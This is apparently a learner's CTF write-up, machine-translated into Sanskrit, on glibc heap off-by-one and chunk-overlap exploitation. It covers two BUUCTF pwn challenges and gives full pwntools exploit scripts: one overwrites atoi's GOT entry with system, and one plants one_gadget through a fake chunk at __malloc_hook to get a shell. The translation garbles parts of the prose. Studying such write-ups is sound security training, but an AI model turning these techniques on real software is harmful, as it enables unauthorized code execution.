प्रौद्योगिकी साझेदारी

한어Русский языкEnglishFrançaisIndonesianSanskrit日本語DeutschPortuguêsΕλληνικάespañolItalianoSuomalainenLatina

pwn इत्यस्य आधारः अद्यापि अतीव अतल्लीनः अस्ति अहं केवलं मम शिक्षणस्य किञ्चित् अनुभवं अभिलेखयामि।
यथा यथा अध्ययनं प्रगच्छति तथा तथा अतिरिक्तज्ञानबिन्दवः प्रश्नाः च योजिताः भविष्यन्ति।

ज्ञानबिन्दवः

उत्तम अध्ययन सामग्री

शून्यद्वारा off विषये ज्ञातुं सारांशः |

चंक विस्तार एवं ओवरलैपिंग | ctfwiki इति

किञ्चित् अवगमनम्

off-by-one इत्यनेन सह निकटतया सम्बद्धः अस्ति उपरि उल्लिखितः Chunk Extend and Overlapping इति ।
एतत् प्रायः "आच्छादितखण्डाः" इति उच्यते ।
किमर्थं आच्छादितखण्डाः निर्मातव्याः ?
यथा, यदि वयं चङ्क् इत्यस्य हेडर् फील्ड्स् अर्थात् prev_size तथा size सेगमेण्ट् पुनः लिखितुम् इच्छामः तर्हि प्रत्यक्षतया प्रयोक्तुं निश्चितरूपेण परिवर्तनं कर्तुं न शक्नुमः
एकः विचारः अस्ति यत् एकं दुर्स्थापितं नकली खण्डं निर्मातुं शक्यते अन्यः सरलतरः विचारः अस्ति यत् आकारबिट् परिवर्त्य, बृहत् खण्डस्य उपयोक्तृदत्तांशभागे वयं परिवर्तनं कर्तुम् इच्छामः तस्य लघुखण्डस्य शीर्षकं समावेशयति

उदाहरण

[buu] हिटकंट्रेनिंग_राशिनिर्माता

विषय

अहं मन्ये अयं प्रश्नः कथं off-by-one इत्यस्य उपयोगः करणीयः इति उत्तमं उदाहरणम् अस्ति। प्रश्नाः अतीव कठिनाः न सन्ति, उपयोगस्य बिन्दवः अपि अत्यन्तं चतुराः सन्ति ।

लूपहोल्स् अन्वेष्टुं विसंकलनं कुर्वन्तु, .

अत्र कृत्रिमः off-by-one अस्ति, अत्र एकं बाइट् अधिकं लिखितुं शक्यते ।

विषयनिर्देशं प्रति प्रत्यागत्य, २.
प्रथमं, काश्चन सूचनाः संग्रहीतुं 0x10 आकारस्य एकः खण्डः आवंटितः भवति, ततः सामग्रीयाः कृते एकः खण्डः आवंटितः भवति ।
यदि भवान् अत्र gdb debugging पश्यति तर्हि अतीव स्पष्टं भविष्यति ।

यथा, अहं add(0x28,'0'),add(0x10,'1') इत्यस्य अनन्तरं heap block layout

भवान् द्रष्टुं शक्नोति यत् प्रत्येकं वयं योजयामः, प्रथमं वयं एकं खण्डं malloc करिष्यामः यत् heap block सूचनां न्यूनपते संगृह्णाति, ततः सामग्रीं संग्रहयति इति chunk malloc करिष्यामः ।

तदा अहं अवलोकितवान् यत् edit and show इत्यस्य ऑपरेशन्स् सर्वाणि माध्यमेन क्रियन्तेराशः अवरोधसूचनाstructure to "index", ततः यदि वयं libc लीकं कर्तुम् इच्छामः तर्हि अस्य खण्डस्य heap block सूचनां स्थापयितुं शक्नुमः *content क्षेत्रं कस्यचित् फंक्शन् इत्यस्य got table इत्यस्य पतां प्रति परिवर्तितं भवति उदाहरणार्थं यदि अस्मिन् प्रश्ने atoi इत्यस्य उपयोगः भवति तर्हि show इत्यस्य समये atoi_addr मुद्रितं भविष्यति ।

अस्मिन् पूर्वस्मिन् "लिटिल् अवगमने" अपि एतादृशी स्थितिः अन्तर्भवति .

यथा, यदि वयं एतत् एवं परिवर्तयामः तर्हि तत् वस्तुतः heap blocks इत्यस्य विस्तारं, overlap च कारणं भवितुम् अर्हति ।

अधः विशिष्टस्य उपयोगस्य विषये वदामः ।

1. प्रथमं अस्माभिः "storage heap information" इति heap block परिवर्तनीयम्आकृतिभाग।
   अस्य सूचना-ढेरस्य उपरि सामग्री-स्तम्भे एकस्य off-by-one-असुरक्षायाः माध्यमेन एतत् पदं प्राप्तुं शक्यते ।
2. ततः वयं अस्य सूचना-राशि-खण्डस्य अनुरूपस्य खण्डस्य अनुक्रमणिकां मुक्तं कुर्मः ।
3. अस्मिन् समये delete_heap इत्यस्य कार्यान्वयनम् अनुसारम्
   

सूचनाराशिखण्डः सामग्रीराशिखण्डः च द्वौ अपि मुक्तौ भविष्यतः, अतः अस्मिन् समये fastbins मध्ये 0x20 तथा 0x40 इत्येतयोः आकारयोः बिन्स् सन्ति ।

4. अस्मिन् समये वयं 0x30 खण्डं योजयामः, 0x40 fastbin इत्येतत् सामग्री-स्टैक्-खण्डरूपेण प्रयुक्तं भविष्यति, 0x20 सूचना-स्टैक्-खण्डं च प्रयुक्तं भविष्यति, अतः 0x20-बिन् अपि प्रयुक्तं भविष्यति

5. अस्य प्रश्नस्य मुख्यः विषयः अस्ति यत्...सूचनाखण्डः तत्सम्बद्धस्य खण्डस्य आकारः सामग्री च निर्धारिता भवति! अतः add(0x30) इत्यस्य पूर्वपदे तत्सम्बद्धस्य सूचना-राशि-खण्डस्य सामग्रीं अधिलिखितुं शक्यते । एवं प्रकारेण सामग्रीं atoi इत्यस्य got table इति परिवर्तयितुं शक्यते, show(1) इत्यनेन च libc लीकं कर्तुं शक्यते ।
6. यतः chunk1 इत्यस्य सामग्रीसङ्केतः परिवर्तितः अस्ति, edit(1) atoi इत्यस्य got table इत्यस्य सामग्रीं system मध्ये परिवर्तयितुं शक्नोति, ततः shell प्राप्तुं "/bin/shx00" प्रेषयितुं शक्नोति ।

अवश्यं, केचन विवरणाः सन्ति, यथा 0x18 तथा 0x28 इत्येतयोः अन्तिम-उल्लिखितं आकारचयनं, तथा च सूचना-समूहस्य सामग्रीं परिवर्तनकाले आरक्षितुं आवश्यकता चआकृतिक्षेत्राणि (अन्यथा अन्तिमसम्पादने भवतः कृते लेखनस्य दीर्घता न भविष्यति) इत्यादि ।

Exp: १.

atoi_got = elf.got['atoi']

add(0x28,'0')
add(0x10,'1')
edit(0,b'a'*0x28+b'x41')
free(1)
debug()
add(0x30,b'a'*0x20+p64(0x10)+p64(atoi_got))
show(1)
leak = leak_address()
info_addr("atoi",leak)
atoi = leak

libcbase = atoi - libc.sym['atoi']
info_addr("libcbase",libcbase)
system = libcbase + libc.sym['system']

edit(1,p64(system))

sla("Your choice :",b"/bin/shx00")


p.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

---

अस्य प्रश्नस्य अन्यः मुख्यः बिन्दुः अपि वस्तुतः अस्ति, अपि च सः एव विषयः आसीत् यस्य विषये अहं प्रथमं भ्रमितः आसम् । Master ZIKH इत्यस्य EXP इत्यस्य प्रारम्भिकं chunk0 add 0x18 अस्ति मम स्वस्य अभ्यासे 0x10 अथवा 0x20 इत्यत्र परिवर्तनं कार्यं न कृतवान्, परन्तु 0x28 इत्यत्र परिवर्तनं कार्यं कृतवान् ।
त्रुटिनिवारणेन ज्ञातं यत् यदा 0x10, 0x20 इति परिवर्तितं भवति तदा अस्माकं उपयोक्तृदत्तांशः अग्रिमखण्डं सक्षमं न करिष्यति ।पूर्व_आकारःइत्यस्य।

0x18, 0x28 इत्यादीनां आवंटनस्य समये ptmalloc2 तन्त्रं next_chunk इत्यस्य prev_size खण्डस्य पुनः उपयोगं करिष्यति ।

emmm, वस्तुतः अन्तिमविश्लेषणे अहम् अद्यापि राशौ पर्याप्तं परिचितः नास्मि। किन्तु केवलं विकिव्याख्यानं पश्यन् एतावन्तः ज्ञानबिन्दवः सन्ति विवरणं च जटिलं भवति, येन स्मर्तुं कठिनं भवति । अवश्यं, मया वास्तविकयुद्धे तस्य सम्मुखीकरणं कृतम् अस्ति, स्वयं तस्य त्रुटिनिवारणं कृत्वा पुनः अवगत्य बहु उत्तमं भविष्यति ।

[buu] roarctf_2019_सुलभ_pwn

विषय

प्रश्ने दोषः अत्र अस्ति।

यदा a2-a1==10 if इत्यस्मिन् भवति, अर्थात् यदा सम्पादनेन आकारस्य निवेशः योजितस्य आकारात् सम्यक् 10 बृहत्तरः भवति तदा off-by-one भवति ।

अनुमानित आवंटन संरचना

अथवा bss खण्डस्य उपयोगं कृत्वा खण्डस्य inuse तथा inuse इत्येतयोः संग्रहणं कुर्वन्तु ।*content

वयम् अद्यापि 0x?8 आकारस्य लक्षणैः सह संयुक्तं off-by-one इत्यस्य उपयोगं कर्तुं शक्नुमः reuse prev_size to fake prev_size तथा size इत्यनेन forward (low address) merge इत्येतत् प्रेरयितुं

अस्मिन् समये भवन्तः द्रष्टुं शक्नुवन्ति यत् विलयः free(2) इत्यनेन प्रेरितम् अस्ति ।

अस्मिन् समये यदि वयं(0x80) योजयामः ततः(1) दर्शयामः तर्हि वयं वास्तवतः main_arena+88 इत्यस्य मूल्यं मुद्रयितुं शक्नुमः ।

मम अवगमनम् अस्ति: अत्र add(0x80) unsortedbin इत्यस्य विभाजनं भवति, येन fd सूचकः (main_arena+88) chunk1 खण्डे स्थानान्तरितः भवति यत् दर्शयितुं शक्यते ।

अस्मिन् क्षणे libc इत्यस्य आधारसङ्केतः लीक् भवति ।
निम्नलिखितक्रियाः इव अनुभूयन्ते यत् तेषु बहुधा आच्छादित-राशि-खण्डाः सन्ति, अतः पदे-पदे त्रुटिनिवारणं पश्यामः ।
libc लीकं कुर्वन् Heap layout

add(0x68)

(अनक्रमितबिन् तः एकं खण्डं छित्त्वा)

free(1)
(फास्टबिन ०x७०) २.

edit(2,p64(malloc_hook-0x23))
(अत्र वयं तथ्यस्य लाभं गृह्णामः यत् पूर्वपदे आवेदनं कृतं 0x68 इत्यस्य chunk2 इत्येतत् केवलं मुक्तं चङ्क्1 इत्यनेन सह अतिव्याप्तं भवति (chunk1 इत्यस्य कृते आरम्भे एव आवेदनं कृतम् आसीत्))

add(0x68)
(chunk1 कृते प्रयोज्य, वस्तुतः chunk2 अस्ति)

add(0x68)
(malloc_hook-0x23 इत्यत्र fake_chunk प्रत्यागन्तुं आवेदनं कुर्वन्तु)

ततः भवद्भिः stack frame समायोजयितुं realloc इत्यस्य उपयोगः करणीयः, ततः भवन्तः shell प्राप्तुं शक्नुवन्ति ।

तदा अहं स्थानीयतया गन्तुं शक्नोमि, परन्तु दूरतः न।
Master ZIKH’s Exp इत्येतत् दृष्ट्वा मया स्थानीयस्य उपयोगः करणीयः
realloc = libcbase + libc.sym['realloc']परिवर्तनं कुर्वन्तुrealloc = libcbase + 0x846c0
ततः भवद्भिः one_gadget इत्यस्य मूल्यं परिवर्तयितव्यम्

एतयोः one_gadgets इत्यस्य offset अस्ति अहं न जानामि किमर्थम् अस्मिन् क्षणे भवतु तस्य stack frame समायोजनेन सह किमपि सम्बन्धः अस्ति । (पश्चात् ज्ञातव्यम्)

स्थानीयं Exp: प्ले कुर्वन्तु:

add(0x80)
add(0x68)
add(0x80)
add(0x10)

free(0)
pl = b'a'*0x60 + p64(0x100) + p8(0x90) # prev_size -> chunk0(freed)  size:0x91->0x90
edit(1,0x68+10,pl)

free(2) # trigger consolidate
add(0x80)
show(1)

leak = leak_address()
info_addr("leak",leak)
libcbase = leak - 88 - 0x10 - libc.sym['__malloc_hook']
info_addr("libcbase",libcbase)
ogs = [0x45226,0x4527a,0xf03a4,0xf1247] # one_gadgets
og = ogs[1] + libcbase
malloc_hook = libcbase + libc.sym['__malloc_hook']
realloc = libcbase + libc.sym['realloc']
info_addr("malloc_hook",malloc_hook)

add(0x68)
free(1)

edit(2,8,p64(malloc_hook-0x23)) # fake_chunk

add(0x68)

add(0x68)

pl = b'a'*11 + p64(og) + p64(realloc+16)
edit(4,len(pl),pl)

add(0xFF)


p.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

स्थानिक:

दूरतः : १.

---

सारांशेन वक्तुं कठिनम् ।